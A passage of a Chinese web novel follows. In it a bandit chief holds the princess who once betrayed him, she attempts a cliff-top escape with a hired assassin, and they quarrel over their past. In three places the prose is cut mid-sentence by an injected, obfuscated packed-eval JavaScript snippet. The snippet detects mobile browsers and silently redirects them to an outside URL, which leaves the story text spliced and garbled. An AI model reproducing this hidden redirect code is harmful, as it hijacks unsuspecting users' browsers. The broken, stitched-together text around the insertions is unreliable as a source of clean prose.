这伤显然很诡异,但本着医者仁心的态度,他还是问了句:“你这伤,需要涂点药吗?” 历铮顺着他的视线一看,想起那是某人那晚咬出来的,他没当回事,没想到竟然出血了。 那女人还真是挺狠。 他不甚在意道:“不用,擦破点皮。” 林无砚点点头,说起了另一件事:“对了,你那仇人姑娘今天向我要了一样药物。” 历铮闻言皱眉:“她找你了?是要打探山寨防务?” 转而想到她要的是药物,又问:“还是她身体又出毛病了?” 林无砚吐出三个字:“避胎药。” 历铮沉默了。 那夜只用了腿和手,但她大抵仍不放心,亦或是为了以防万一。 林无砚看他明显不好起来的心情,顿时有些好笑。 这人还嘴硬说是仇人,行动上却完全不是那么一回事。 铁树开花,竟然还有点马失前蹄的迹象。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17015749|192298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他问:"给吗?" 历铮没犹豫:"给,一会儿就给她送过去吧。" 冯九站在一旁听他们说了半天,反应过来后,表情震惊:"头儿!你竟然……!" 头儿把那女人抱回来那天,他问头儿是不是看上她了,头儿那意思是看上谁也不会看上仇人,结果转过天就让他准备红绸子和红蜡烛,他以为山寨里要办喜宴了,却听头儿声音冷得能掉冰渣子:“喜不了,是冥婚。” 冯九忐忑了一晚上,以为头儿终于要大开杀戒,对手无寸铁的女仇人下手了。 ……结果转过天又让他跟着进城去买女人的衣服。 而现在他又得知,头儿竟然和她那什么了! 他很心痛。 因为他觉得头儿和那个女人一点也不相配。 头儿英俊潇洒,还是一方霸主,那女人长得甚丑,还是个在押钦犯。 可是头儿应当是很喜欢的。 历铮看他那变幻莫测,百转千回的脸色,就知道他没在想什么好东西,正想让他打住,就听他忽然冒了句:“头儿,你和……夫人很相配。” “虽然她长得丑,还是个囚犯,但是,但是……”冯九绞尽脑汁,想夸点什么,但发现自己对那个女人一无所知,而且只见过一面。 历铮:“……” 他面无表情:“滚蛋。” 历铮最后拿了两套衣物,转身离开时,留下一句:“林无砚,找时间给冯九看看眼睛。” 那女人要是丑,天底下就没漂亮女人了。 冯九:? 他茫然一瞬,又很快反应过来,头儿是在不满意他说那个女人丑! “老林,头儿真是被那女人迷住了。”他悲痛道。 林无砚笑得高深莫测:“老冯,有空再去看一眼头儿那压寨夫人吧。” 那位云姑娘今日找他时,身上毒斑尽褪,饶是他见多识广,也不得不说,这姑娘的容色绝对是当世少有的。 他看着历铮的背影,想到今天看见那女人的场景,忽然觉得有些不对劲。 看诊那晚她的脸被毒斑遮掩了大半,但现在回想今早见的那面,总觉得那女人的面容有些熟悉。 模糊的记忆涌上来,渐渐变得清晰。 他想起来了。 他在京为官时,曾远远地见过她一面。 那个女人是……仪和郡主! 想到某些事,林无砚的表情渐渐凝重起来。 *** 晚饭过后,云归玉百无聊赖,溜达到了侧屋。 她站在书架旁,随意选了一本书,拿在手中翻看。 不多时,“嘎吱”一声,房门打开,历铮走了进来。 云归玉瞧见他,晃晃手中的书,挑眉道:“大当家,做了山匪,竟然还看兵书?怎么,你是准备厉兵秣马,等着哪天杀回京城报仇吗?” 还真叫她说对了。 历铮心想。 然而嘴上却说:“不学兵法,怎么打劫官兵,把你从神行军手里捡回来?” 云归玉正欲说话,便见历铮抬手扔来一个白布包袱,从缝隙处能瞧见一抹蓝色,看质地像是某种绸缎。 她接住,打开一看,是一件水蓝色的襦裙,还有与之相配的珍珠步云履。 “郡主殿下可还满意?” 云归玉矜持道:“还行吧,不过我以前,倒是很少穿这么素的颜色。” 历铮不咸不淡道:“阶下囚没有挑剔的权利。” 他转头看了眼主屋的位置,下了逐客令:“回你的地方去,我要休息了。” 云归玉瞧了眼墙边的矮榻,所以说历铮是让她睡主屋的床,而自己睡在这儿? 倒是与在京城他们刚成婚时别无二致。 她懒得深思缘由,抱着衣服就要离开,忽然想起什么,又停下了步子,抬头与历铮对视。 历铮:“还有事?” “阿宁……他没跟着你吗?”云归玉犹豫一下,还是问了出来。 历铮的神色倏地冷了下来。 他沉默不语,云归玉亲眼看到,在听到"阿宁"两个字的一瞬间,他的眸种闪过一丝深切的痛意。 良久,房间中响起沙哑的男声。 “死了。” 云归玉捏着布包的手攥紧了。 她不该问的。 历铮瞧着她的低垂的眼,忽然道:“云归玉,你可曾后悔?” 29. 打猎 云归玉知道他问的是什么。 那时她为了皇后,背叛了他,可风水轮流转,之后的她,不也被自己所选择的人背叛了? 后悔吗?不。 后悔是这个世界上最没用的东西,除了徒增烦恼,它什么也带不来。 那时她还未遭到皇后的背叛,让她选择,她只可能会选皇后。 “娘亲”这个身份,对曾经的她来说,确实有种非凡的影响力。 她第一次感受到“娘亲”一词在现实中的样子,是在苗疆的时候。 那时她被选中为大祭司的弟子,有次在被例行折磨之后,她突然好奇,那些落选的女子怎么样了。 是不是比她过得还要痛苦? 于是她溜进村子,随意选了一户,潜进院中。 这一去,便正碰上那女子正在生育,她凄惨大叫,痛不欲生。 云归玉想,若她是那少女,等那孽种生出来,她不杀掉都是手下留情。 可她再去看时,竟见那女子抱着那小孽种喂奶,笑容温柔。 她极为不解。 为什么? 她明明不是自愿的,她明明之前那么痛苦,为什么能对那婴儿心无芥蒂,还如此温柔以待? 她没忍住现了身,问出了自己的疑惑。 那人一惊,把她拉到一个没人的角落,然后回答她:“无论如何,孩子是无辜的。何况,我是他的母亲啊。” 她还说,母亲爱自己的孩子,是一种本能。 云归玉不理解,却将这句话牢牢记在了心里。 她也想要这样一份感情。 她好像理解为什么大祭司身为她的师父,却一点也不爱她了。 因为她不是大祭司自己的孩子。 那时的她没有想到,也有一种母亲,是连自己的亲生孩子都不爱的。 后来她离开苗疆,重伤晕倒,被一对夫妻捡回了家。 他们对她很好,有她想象中爹娘的一切样子,可她却也知道,自己终究不是他们的亲生孩子。 不属于她的,她不要。 于是她离开了那个小村庄,去了京城,终于遇到了自己的亲生母亲。 从此,她的情感,在很多年来,都系于她一人身上。 直到历铮出现,她才在亲情之外,多了些其余的情感。 只是,一年的相处,远不到能让她心中天平倾斜的地步。 所以皇上要对历家下手的时候,选择皇后还是历铮,对她来说,答案是一目了然的。 她没什么犹豫就选择了皇后。 其实她也曾绞尽脑汁地想过,如何在选择皇后的同时,也能保全历铮一条命。 可是到最后,她也只能骗他进京,然后再亲手把箭射进他的心脏。 …… 思绪回归。 若再来一回,她也不会有别的选择,也不可能比当时做得更好了。 云归玉垂下眸,轻声道:“不后悔。” “若再来一回,我还是会那么做。” 历铮猛地掐住了她的脖子,冷笑:“好一个不后悔。” 云归玉挣扎着说完想说的话:“但是……我很抱歉,七郎,没能,让你见到父亲,最后一面。” 历铮松开了手。 他推开门,临走时留下一句:“阿宁是后来死的,与你无关。” 云归玉听懂了他的未竟之言: 与你无关,所以无需内疚。 云归玉沉默良久。 在历铮心里,她应是一个没心没肺,心狠手黑的人。 可他还是担心她会内疚。 云归玉看着手中的衣物,回想起历铮刚才的神情,罕见地有些茫然。 *** “哒。” 木屋窗边,响起棋子落在棋盘上的声音。 林无砚落下一枚黑子,眼神微眯,看向对面的人:“你今天心神有点乱,崇渊。” 历铮眼皮微抬:“那你也赢不了。” 林无砚瞬间不乐意了,“咱俩的胜率差距也没有那么大吧。” 他就不信了,打仗他不如历铮,下棋,难道还能在他军心不稳的时候输给他? 他决定继续扰乱历铮的心绪。 反正棋场如战场,兵不厌诈,为了胜利,不择手段一点怎么了。 于是林无砚执起一枚棋子,冷不丁冒了句:“说起来,你到底怎么打算的,关于……仪和郡主。” 历铮从瓷罐里抓棋的手一顿。 林无砚:“别那么惊讶。我好歹也是在京城待过的,虽然只见过仪和郡主一面,但她那样貌,不论是谁,见过一面便很难忘记吧。” 历铮:“你们不是都知道么,她现在是我的压寨夫人。” 林无砚顿时投去了钦佩的目光,“想不到你还是这等百死不悔的大情种。” 当年的事在两京传言甚嚣尘上,明面上的定论是郡主大义灭亲,定计诛反贼有功,但明眼人一看就知道怎么回事,不就是皇帝想收回兵权,于是先下手为强,而仪和郡主站队皇帝吗。 而如今仇人就在眼前,历铮却又娶了她当夫人,可不就是大情种吗? 对于这句明显嘲讽的话,历铮并没有回应,而是反问道:“济安,你知道一场战役,胜和大胜的区别是什么吗?” 林无砚听他问起行军打仗的事,想起当年在战场上输给历铮,还被脸贴着脸地嘲讽,说他是个纸上谈兵的兵书呆子,一口气卡在喉咙不上不下,悲愤道:“你故意埋汰我呢吧?” 他方才问那个问题明明是为了扰乱历铮的心神的,怎么现在反而感觉他自己被扰乱了? 历铮笃定道:“以你的水平,回答这个问题还是绰绰有余的。” 虽然实战的时候不好说就是了。 林无砚从他堪称鼓励的话里得到了一丝信心,思索一瞬,答道:“一战夺城,是为胜,一战灭国,是为大胜。” 历铮:“让敌军无法再重整军阵,这才算彻底的胜利。而只有让他们的士兵军心大溃,才有崩盘的前提。” “你方才问我打算如何对仪和郡主,我的答案便是,我要让她心溃。” “身体上的苦痛不算什么,只有让她肝肠寸断,才能让我顺了当年的那口气。” 林无砚张了张口,最后神色慢慢认真,道:“崇渊,你想怎么对她都随你,但,别最后把自己也搭进去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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另一边,林无砚刚出门,伸了个懒腰,就看到历铮骑着马往山下去,马背上还挎了把弓。 他打了个哈欠,随意问道:“大当家,去哪儿啊?” 历铮冷酷道:“打猎。” 林无砚:“怎么突然想去打猎了?也不叫兄弟们一起。” 历铮:“我今天中午想吃点肉。” 林无砚纳闷道:“山寨的伙食不是每天都有肉吗?” 历铮:“云归玉的没有。” 林无砚:“……” 那不是因为养病需要清淡饮食吗? 再说,她想吃肉,所以你就自己去给她猎肉?你把厨房做的肉给她端一盘去不就行了? 这人昨天说什么来着?好像说要某个女人痛不欲生来着。 难道喂她吃肉,这也是计划的一环吗? 30. 杀手 中午,云归玉在吃上肉之前,先得到了一个小玩意儿。 准确的说,是一个小活物。 历铮一进门,便把抄在右手臂弯里的一个东西朝她扔了过来。 “打猎的时候出门捡到的,你以前不是老爱养些小狗小狸奴吗?”历铮扬了扬下巴。 云归玉接到手上,触手便是温暖的毛绒物。 她低头,对上双湿漉漉的眼睛,看到个黄毛黑纹脑袋上还有个“王”字的动物,震惊道:“你他爹管这叫小狸奴?” 历铮把手上的弓和背上的箭筒放到窗边矮几上,正在解手中护臂,听到某个字眼,瞥她一眼:“你现在这么不讲究了吗?身为郡主的优雅端庄呢?” 云归玉抱着她的新宠物,哼笑一声,“本就不是什么金凤凰,装了那么久我装累了不行啊?” 历铮眯眼:“什么意思?” 据他了解,仪和郡主是太后早逝表妹的女儿,后家中出事,才被接进宫中。太后的母家并不是小家族,那么云归玉家按理来说也不会差。 她不该是这个语气。 云归玉脱口而出后才知露馅,虽然事到如今她的身世没什么好瞒的,但她并不想说。 她不需要任何人的同情。 她一笑,“你不是知道的吗?母亲死后,我曾拜了个师父去山中学艺,习得一身蛊术,然后才进京的。” “所以啊,我是山沟沟里飞出的麻雀。” 历铮隐隐觉得有些不对,恰好此时手下端着午饭过来,他便没再追问。 云归玉看着今天的午饭,终于不再是一盘素菜加米饭,而是一荤一素。 她连忙把怀里的小老虎放在地上,上桌吃饭去了。 肉菜是炒兔肉,虽然味道还是很清淡,但对于几天没吃肉的云归玉来说已经是难得的美味。 云归玉咽下一口兔肉,问:“听阿延说,这是你去猎的?” “阿延那小子怎么什么都说,”历铮挑了一筷子青菜到她碗中,才回答她的问题:“嗯。” 云归玉一直在往自己碗里夹菜,只夹肉菜不夹素菜,嘴里还伴着米饭,含糊道:“可以啊,大当家箭法不减当年。” 历铮淡淡道:“仪和郡主也不差,向来有一箭穿心的能力。” 云归玉差点一口噎死。 她艰难咽下喉中食物,道:“大当家,我发现你还挺不会聊天儿的。” 历铮没搭这句腔,反而是评价了句:“郡主殿下的吃相倒是比从前亲民得多。” 以前一筷子不会挑起超过一口的菜量,细嚼慢咽,油不沾唇,一举一动都是贵女风范。 如今么……也挺可爱的。 云归玉发现历逍阴阳怪气的功夫见长。 但这并不能影响她的食欲,她又扒了一口饭,嚼吧嚼吧咽下去,回道:“这不叫亲民,我现在自己就是民,哦不对,是钦犯。” 一顿饭吃饭,云归玉满足地摸了摸自己的肚子,又总觉得还缺了点什么。 想起来了。 云归玉一点也不觉得自己得寸进尺地道:“我还想吃点水果。” 历铮没有断然拒绝,而是若有所思地看了一眼云归玉。 她与从前相比真的变了很多。 行为举止不再遵循所谓的贵女仪态,随性了许多;性格方面,也不像以前那样目下无尘,高高在上。 而以前的仪和郡主,除了对下人的命令之外,也很少直白地表达自己的需要。 她永远会把自己真实的目的和真心的喜好藏起来,轻易不让别人窥见。 是因为从天边跌落泥潭,成了折翼的凤凰? 真好啊。 不然怎么能落到他的地盘上呢。 历铮把心里的阴暗藏得很好,道:“下午去城里给你买。” 看他这么干脆,云归玉反而狐疑了:“你这么百依百顺呢?真不是想下毒害我?” 历铮:“……” “你可以选择不吃。” 他看着一直在云归玉脚边蹭的某只兽,道:“你好像从前就很受这些小东西的欢迎。” 他想起以前在府中,总能看到一些各种动物挨挨蹭蹭地凑在她的身边。 “要不给它取个名字?” 云归玉思索一下:“叫大王吧,它额头上有个‘王’字。” 历铮:“……所有老虎额头上都有个‘王’字。” “那叫大花?身上有花纹。” 历铮表情复杂:“郡主也曾是谈笑有鸿儒的人物,给宠物取个名,不该如此困难。” 流个放把她脑子里的学识也流掉了? 云归玉:“那叫历小小吧。” 这只老虎看起来不满月余,个头还很小。 历铮叹了口气,已经放弃挣扎,只微微拧眉:“为什么姓历?你的宠物应该跟你姓。” 云归玉理直气壮,冷嗤道:“我不想它被太后的姓玷污。” 其实是因为,她很清楚,自己做不了这小老虎的主人。 历铮勉强接受了这个理由。 *** 吃过饭后,历铮又下山去了,云归玉躺在床上。 她实在是很久没这么闲过了。 以前在京城时,每天不是忙着炼蛊,就是思索该从哪位大臣手上算计夺权,要么就是忙着提防仇人上门刺杀,或者是想法子变法。 而现在,每天除了吃就是睡,只偶尔干点简单不累的活儿。 舒服倒是舒服,但无趣也是真的无趣。 忽然视线里出现一点红色。她定睛一看,是一只巴掌大的蜘蛛,正吐着丝从房梁上吊了下来。 云归玉瞬间来了精神,坐起身,用手捻住了这只小可爱。 八爪,四眼,黑色身体,毛密而长,背上有红色花纹。 是牡丹蛛。 天生剧毒,非常适合练蛊。 但这种蜘蛛性喜温暖,这里山高气寒的,根本就不是它平时会出没的地方。 所以,只可能是有什么人将它带上来的。 后墙的窗边传来了异响。 云归玉挑了挑眉,下了床。 她把牡丹蛛放到肩膀上,走到窗边,听见一阵有规律的轻敲窗檐的声音。 打开背靠后山的那扇窗,一个人头突然冒了出来。 云归玉很淡定。 早在牡丹蛛出现的时候,她就对来人是谁有所猜测。 “你再不来,就只能去地府里找我要银子了,褚大杀手。”她看着来人,懒洋洋道。 来人是个身着墨绿色束身衣的女人,头发很短,堪堪及肩,一双丹凤眼盛着冷光,她戴着三角面巾,遮住了下半张脸。 此人名叫褚昭,江湖杀手榜排名第十一,和云归玉长期保持着良好的雇佣关系。 她们一个出钱,一个出力,合作可以说是十分愉快。 褚昭看着她雇主面色红润,穿着一身崭新的蓝色雪缎襦裙的,很是怀疑她刚才那句话的真实性。 这人浑身上下,哪有一点即将要去地府的迹象? 其实早在流放路上,她就尝试过一次劫走云归玉,却以失败告终。 神行卫人多势众,她不是杀手排行榜前三的那几个怪物,做不到以一当百。 那时候不是好时机,但她跟踪多日,眼见云归玉当时的状态实在太差,才铤而走险。 而现在的云归玉,比那时的看上去好多了。 她甚至怀疑,云归玉真的还需要她救吗? 褚昭迟疑了一下,问:“咱们的买卖,还继续吗?” 云归玉:“当然要继续。这屋子的主人是历七,你知道我曾经对他做了什么,他不会放过我的。” 她看着褚昭扒在窗沿上,眼下青黑,短发散乱,身上有沾着各种杂花杂草杂叶子。 云归玉一边帮她挑捡头上和身上的碎花碎叶,一边有些稀奇地问道:“你怎会这么狼狈?” 褚昭幽怨地看了她一眼。 “后山全是悬崖绝壁,从那爬上来,当然狼狈。之前探过前山,此山寨布防严密,钻不了空子,只能从后山突破。” 云归玉好奇 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他听砚哥和九哥说了,归玉姐之前伤害过大当家。 于是,阿延看云归玉的眼神带上了淡淡的谴责。 不想再理她,他一个闪身,又窝回树上去了。 云归玉关上门,再度打开了后窗。 “还好我躲的快。” 褚昭探出个脑袋,压低声音感叹。 云归玉也放轻了声音,纳闷道:“这小子耳力怎么这么好。” 褚昭道:“他是高手,我刚爬上来就察觉到他的气息了。” “高手?你打得过他吗?” “我学的是杀人之术,他是正统武学。” 云归玉还是很好奇:“所以说谁更厉害?” 褚昭:“不知道,没交过手,只凭气息,判断不了。” 云归玉从地上提起了一截锁链:“你能把这玩意儿弄断吗?” 褚昭看这链子很细,随口道:“当然。” 而后上手摸了摸,话音紧急一转,改口道:“当然不能。” “这链子里掺了玄铁,我的力气砍不断。” “那你怎么救我?” “有个法子或可一试,但有点冒险。”褚昭凑道云归玉耳边,小声说出自己的计划,云归玉配合地俯身倾听。 等她们商量好计划,云归玉一转身,就看到那只牡丹蛛和历小小已经打起来了。 “……” 老虎的反应力和力量都不容小觑,一爪子拍下去,牡丹蛛必死无疑。 最终结果可能是一个被毒死,一个被拍死。 哪个死了对云归玉来说都会很麻烦,于是她制止及时了这场蛛虎大战,把牡丹蛛送到窗边,让她找褚昭玩去了。 她蹲下身,小老虎便凑了过来,含住了她的手指。 想起历铮说她很受动物的欢迎,云归玉自嘲地扯了扯嘴角。 其实那些动物根本不喜欢她,不过是因为她对它们施了蛊,才会被她控制和驱使。 它们对她,从来不是喜爱,而是害怕。 老虎尖锐的牙齿抵上她的指腹,传来一阵轻微痛意,好似下一刻就会刺破皮肤。 可惜了。云归玉想。 毕竟她的血,是有毒的,喝了她的血,历小小只有死路一条。 就是不太好跟历逍交代。 正想着,指尖痛意却已经消失,有的只是柔软湿润的触感。 云归玉一愣。 小老虎并没有咬下去。 它似乎只是磨了磨牙,力道很轻,然后就伸出粉嫩的舌头,舔舐她的指尖。 “你倒是个乖巧的。” 她轻笑一声,用另一只手摸了摸它的头。 “可惜,咱俩注定有缘无分。” 毕竟,她一直在等一个离开的机会。 离开这座山,也离开……历铮。 31. 坠崖 时机来的很快。 云归玉一直安分守己,每天吃吃睡睡的又过了三天,历铮说他接了个走镖的活儿,没个十天半月回不来。 她谨慎地又等了三天,估摸着历铮已经走半道上挺远了,才让牡丹蛛从后窗户爬下去,给褚昭报信。 中午,云归玉像往常一样,坐在院中石凳上小憩,历小小趴在她脚边,睡得打起了呼噜。 阿延仍旧抱剑窝在树上,眼睛上盖了两片叶子遮阳。 忽而他耳朵一动,凛然睁眼。 破空声起,阿延拇指抵着剑镡向上一推,手腕一转,一横一竖两道寒光闪过,只听“哐当”两声,袭来的暗器被半出鞘的剑身挡落。 有人站在屋顶,一身墨绿短打,脚踏黑靴,半遮着面,短发在风中飞扬。 阿延飞身下树,第一时间挡在了云归玉的面前:“归玉姐,躲远点!” 云归玉点点头,躲到了桂花树的后面,历小小被吵醒,亦步亦趋地迈着小短腿跟在她身边。 阿延握住剑柄,“铮”地一声抽出了全部剑身,冷声喝道:“来者何人!敢犯我山寨?” 褚昭不语,双臂交叠蓄力,手上各握四只梅花镖,接着振臂一展,暗器如离弦之箭般向着阿延袭去。 阿延冷哼一声,执剑挽了几个剑花,轻松挡下了暗器,最后一只暗器被他反手勾了出去,“还你!” 褚昭弯腰如弓,身体后仰躲过,抽出腰间武器。 那是两把子午鸳鸯钺,双钺之间被一条细长的银色锁链相连。 她默默运功,右脚一蹬,从房顶俯冲而下,双手齐举手中钺,携着下落之力,朝着阿延双肩砍去。 褚昭明白,她必须尽快逼对面那少年使出能够砍断锁链的一招,否则时间一久,必然会引来山寨其他人,因此一开始就没打算留手。 阿延却根本没打算接这一击,他步履生风,侧身避过那声势浩大的一击。 褚昭单膝跪地,双钺劈在地面,土地出现一条缝隙。 阿延舞剑如游龙,剑锋直指褚昭背后的空档。 褚昭一击不成,料定他会袭她后背,索性就地往前滚了一圈躲过一击,然后再单手一撑地面,迅速回身,双钺交叉,接下他的下劈一剑。 二人缠斗在一起,一人剑招千变万化,一人身如鬼魅,一时难分胜负。 战斗间,劲风四起,院中桂花簌簌下落,一时间满院刀光剑影,满院幽香浮动。 云归玉紧紧盯着二人。 一盏茶的时间过去,二人已经交手数回合,忽然拉开了距离。 阿延已对对面的女刺客的武功有了数。 那人胜在身姿轻盈,和时不时冒出的暗器,那把带锁链的鸳鸯钺也有出奇制胜的效果,但……一力降十会! 阿延横剑于胸,澎湃内力自丹田涌出,顺着右臂传到剑上,剑身震颤,发出龙吟般的嗡鸣。 他要一招定胜负! 褚昭却勾起嘴角,在面巾下露出一个笑容。 就是现在! 云归玉已经悄然从树后绕过,在阿延出招的瞬间靠近了褚昭! 看到云归玉的瞬间,阿延瞳孔骤缩。 可他人已至,剑已出,去势难回,只能拼着承受反噬的代价收回攻击。 云归玉却没给他收手的机会,果断一扬手,锁链腾起,被一旁的褚昭双手抓住拉直,正正迎上了阿延的剑! “铛啷”一声,金铁狠狠相撞,迸出细微火花,锁链应声而断。 双方皆被震退,褚昭退了十步有余,而阿延仅退五步,持剑正欲再战,却见那刺客顺着后退的力道已至山崖边,她一个转身,直接了跳下山崖! 而真正让阿延目眦尽裂的是,一蓝色身影紧随其后,也跳了下去! 那是……归玉姐! 他心中猛道不好,连忙上前,欲要伸手捞人。 却有一道黑色身影比他更快,追着云归玉的步伐就跳了下去。 阿延趴在崖边,看清了跳下去的是谁,瞬间眼眶张大,瞳孔紧缩到极致,撕心裂肺地吼道:“大当家!!!” 历小小也来到了崖边,发出一声长啸,惊走山间一片飞鸟。 *** 在跳下的瞬间,云归玉便摸出了身上藏着的飞钩。 这是一种形如鹰爪的铁钩,可以像弩箭一样被弹射出去,抓在山壁上,是褚昭提前交给她的攀爬利器。 褚昭还告诉了她离山顶多少丈的时候有横斜而出的树杈,多少丈是第一个可供休憩的山洞。 她感受着疾速下坠时耳边鼓噪如雷的风声,正暗自在心中计算着丈数,好在合适的时机射出飞钩,就听见了阿延那声嘶力竭的一吼。 紧随而至的便是一人面朝着她下坠,朝她伸来的一只手。 是本该在外走镖的历铮。 云归玉双眼猛然瞪大。 历铮长臂奋力一伸,捞到云归玉手腕上断掉的那一截锁链,紧接着一把捉住她的手腕,拔出护腰上挂着的短剑,正欲扎进山壁,却忽觉坠势已止。 而他和云归玉的位置变成了她在上,他在下。 云归玉被他拉着的那只手腕反手抓住了他的,另一只手上是绑了几圈的绳子,视线上移,绳子末端是一把飞钩,正卡在山间凸起的石头上。 云归玉由衷庆幸,自己在看到历铮的时候,虽然惊讶至极,但好歹没忘了计算丈数。 现在他们二人停住的地方,正好脚下不远处就有根粗壮的树枝。 二人先后站到了树枝上,云归玉背靠着山壁休息,表情不算好,而历铮在她对面站着,眼神比她还要阴沉。 沉默在千丈高空中蔓延。 好在此处离山顶仅百丈出头,阿延很快叫来山寨人手,丢下绳子,拉他们上去。 云归玉没有挣扎,也没有在历铮眼皮子底下再玩一次跳崖。 一上去,历铮便拽着云归玉一路进了屋,阿延和冯九跟在后面,也不敢进去,默默关上了门,隔了段距离守在外面。 历小小想跟着云归玉进去,被阿延薅住尾巴拎走了。 历铮把云归玉狠狠甩在了床上。 他面沉如水,语气森寒:“殿下若是不想要这条命了,历某送你一程便是,何累您自己找死!” 他横,云归玉比他更横,猛然站起来就推了他一把:“你才是疯了,悬崖是说跳就跳的吗?啊?历七!” 历铮被她推懵了。 连带着满腔的怒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17050468|192298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 火都停滞了一瞬。 可她还没完,柳眉倒竖,双眸冷厉:“你爹七个子女,就你一个运气好捡了条命回来,你不感恩戴德守好这条命,还学别人跳崖,九泉之下若是相聚,他非扇你几个嘴巴子不可!” 听到这个“爹”字,历铮的停滞的怒火又燃烧起来:“你还有脸提我爹?” 云归玉没说话,但胸口的起伏昭示着她并不平静的内心。 历铮声沉沉地问她:“你不跳,我会跳?” 云归玉一指他手里拿着的从她那缴走的飞钩爪,冷笑:“我有这玩意你有吗?” “我知道几丈处有山洞几丈处有树枝你知道吗?” “你当时要是没抓住我,就凭你那把破短剑,你自己能撑到几时?” 历铮从她的语调中琢磨出点意味来,语气终于少了点冷沉:“你在担心我?” 云归玉表情一顿。 随即嗤笑:“担心啊,担心你死了,你山寨的那群兄弟来找我寻仇。” 历铮表情淡漠地点头:“也是,一个亲手杀了我的人,怎么会在乎我这条命。” 云归玉看着他眼底的血色,没说话。 历铮将话题拉回最初要兴师问罪的点上:“你为什么要跳崖?” 云归玉一脸无语:“大当家,你把前山围得跟铁桶似的,固若金汤找不到一点空子可钻,我不从后山走我从哪走?你以为我就很愿意冒那个险吗?” 她说着说着,也忽然回过味来。 历铮不是说要下山十天半个月吗?为什么这么快就回来了?又为什么刚好就在她计划逃跑的这天回来?他又没在她身上长眼睛。 云归玉忽而想到什么,沉下声:“你故意的。” “故意告诉我你要出远门,让我以为有逃跑的机会。” 历铮并不意外她能猜到。 “郡主的性子从来就不安分,不试一次,你便不会死心。但是,你到底为什么要逃跑呢?你要什么,我哪次没给你?” 云归玉震惊于他能问出这种答案显而易见的问题。 “你把我锁着我不跑?哪有囚犯不想越狱的?我在京城大狱的时候还每天想着挖地道逃跑呢。” 历铮垂下眼,低声道:“不锁着你,你就不跑了吗?” 云归玉:“……” 历铮幽幽盯着她:“这可是你说的。” 云归玉深深地“嘶”了一声。 不是,她何时何地答应过了?! 她试图晓之以理:“大当家,你知道当今皇帝如今还中着毒吗?太后要求我每到一个驿站就要做出解药给送去宫里!如今我已失去踪迹好几天,哪怕离京路途再远,不久后她也该收到信了,她迟早派人来查!” “我留在这里,对你们山寨有百害而无一利!” 历铮不屑道:“她若想来攻寨,大可一试,我自奉陪到底。” 云归玉:“……” 云归玉没辙了,她由衷纳闷道:“你把我拘在这里,不杀也不剐,还住你屋睡你床,每天一日三餐供着,你这是对仇人的态度吗?你还记得我给了你一箭,差点送你去见阎王吗?” 历铮沉默良久,忽然道:“若是我说,我想与你再续前缘呢?” 32. 所谓前缘 云归玉一怔。 有那么一瞬间,她呼吸稍顿,心口微颤。 就像是几片树叶飘落在湖面,接触的那一瞬间泛起了微小的涟漪。 但这点涟漪完全无法动摇云归玉的心志。 沉默几息,云归玉轻笑一声,“什么前缘?是你对我百依百顺随叫随到的缘?还是我一纸书信,你便从距离临武近在咫尺之地掉头转向京城,自投罗网的缘?” 这一声问话打破了寂静,却使得气氛更加冷凝。 历铮向前逼近一步,高大的影子朝着云归玉笼罩过来,居高临下,眼神如鹰,牢牢锁住了云归玉的双眸,道:“当初,是你先请了圣旨逼我成婚的。” “也是你,不顾事先定好的互不相扰的约定,一次次主动来招惹我。” “还是你,在我出征的前一刻,还说要等我凯旋卸甲,与你白头偕老。” 可为什么,他打了胜仗回来,等到的却是诛心一箭? 那时他得知父亲身死的消息,第一反应就是要去他的身亡之地临武城,即使皇帝密令他回京,他也并不完全相信。 最后是来自云归玉的书信,向他保证皇帝所言皆为事实,他若执意先去临武,或许赶不上在下葬前见爹最后一面。 他一面觉得荒唐,父亲下葬凭什么不等他这个儿子,而全由外人做主?就凭他是皇帝,就可以不顾世情人伦吗? 一面天平终究倾斜。 他想他爹战功赫赫,说一句再造大楚都不为过,哪怕皇帝心里不一定情愿,但为了面子上过得去,将他爹接回,以亲王之礼下葬,倒也不是不合情理。 于是他快马加鞭赶回京城,迎来的是城门后的重兵埋伏。 拼命杀到鸿津桥,等来了他的心上人,他的妻子,仪和郡主的断桥截杀,杀前还亲自弹了首曲儿,提前庆祝他即将魂归极乐。 云归玉冷静地与他对视,说出的话语毫不留情。 “请旨与你成婚是为了躲避与异族和亲;主动招惹一是看中你的皮相一时新奇,二是我天生不服输,你初时对我那么嗤之以鼻,我不过是想看你后悔;说等你凯旋卸甲,是希望你能打胜仗,毕竟打赢了我这大楚郡主才能多当一会儿,至于‘白头偕老’?那完全是话赶话顺便说出来的,当不得真。” “至于断桥截杀,那是为了向皇帝表忠心。” “为了我自己的荣华富贵,我只能选择牺牲你。” “所以,你合该恨我。” 历铮的心狠狠一抽,他低声笑了声,哑声道:“我当然恨你。” “可无爱便无恨。” “哪怕你种种行为皆是假,句句爱语皆为计,可我已然受你迷惑,上当受骗。” 